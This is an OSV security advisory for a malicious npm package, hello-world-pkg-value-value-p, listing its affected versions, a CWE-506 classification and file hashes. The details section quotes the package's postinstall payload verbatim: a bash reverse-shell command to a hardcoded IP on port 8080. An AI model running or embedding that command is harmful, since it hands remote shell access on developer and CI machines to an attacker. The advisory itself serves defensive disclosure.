MAL-2026-3714

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/hello-world-pkg-value-value-p/MAL-2026-3714.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-3714
Published
2026-05-13T13:08:38Z
Modified
2026-05-15T07:49:23Z
Summary
Malicious code in hello-world-pkg-value-value-p (npm)
Details

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Source: amazon-inspector (d768990007f2926e3a58020102d277c3a604c6aa3bc70056cd466bc24437fc89)

This package's postinstall hook executes node index.js, which runs execSync('bash -i >& /dev/tcp/52.249.218.132/8080 0>&1') — an interactive bash reverse shell to the hardcoded attacker IP 52.249.218.132 on TCP port 8080. Any developer or CI system that runs npm install hello-world-pkg-value-value-p hands an interactive shell (running as the installing user) to whoever controls that IP. The package metadata is a meaningless-name cover story ('minimal npm...') with no legitimate functionality; the sole effect of installation is to open a remote shell on the installer's host. This is unambiguous unauthenticated RCE against the installer with no legitimate use case.

Source: ossf-package-analysis (0df4b35a2af7f4d8b4fdcda0dcb3e872deddb6a320bf6af8405b27f42ff413db)

The OpenSSF Package Analysis project identified 'hello-world-pkg-value-value-p' @ 1.0.11 (npm) as malicious.

It is considered malicious because:

  • The package executes one or more commands associated with malicious behavior.
Database specific 
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-05-13T21:58:23.154926665Z",
            "modified_time": "2026-05-13T13:08:38Z",
            "sha256": "0df4b35a2af7f4d8b4fdcda0dcb3e872deddb6a320bf6af8405b27f42ff413db",
            "source": "ossf-package-analysis",
            "versions": [
                "1.0.11"
            ]
        },
        {
            "id": "IN-MAL-2026-002759",
            "import_time": "2026-05-15T07:37:19.280980693Z",
            "modified_time": "2026-05-14T19:25:49Z",
            "sha256": "d768990007f2926e3a58020102d277c3a604c6aa3bc70056cd466bc24437fc89",
            "source": "amazon-inspector",
            "versions": [
                "1.0.4"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / hello-world-pkg-value-value-p

Package

Name
hello-world-pkg-value-value-p
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Purl
pkg:npm/hello-world-pkg-value-value-p

Affected ranges

Affected versions

1.*
1.0.4
1.0.11

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "index.js",
            "sha256": "5ee235e3056492d060dbdb038afd6c219e51f92d8328e15affae127f3f363c6e",
            "tlsh": "d3e0ab722a752336683004606e1300b3e743f205a330f752f9fe872a2e90c84c825eec"
        }
    ],
    "package_integrity": [
        {
            "filename": "hello-world-pkg-value-value-p-1.0.4.tgz",
            "hashes": {
                "sha1": "ff0d0ef532557d79d9200b22b15db38c2eb03d76",
                "sha512_sri": "sha512-hTDe3h33rIsomPiwHzu8MuDZqx+gP5x8czB76QPwIRGDdv+lo5lsCqWBKL9UQoUx9YneK2xWFceWCadhgKmeOQ=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/hello-world-pkg-value-value-p/MAL-2026-3714.json"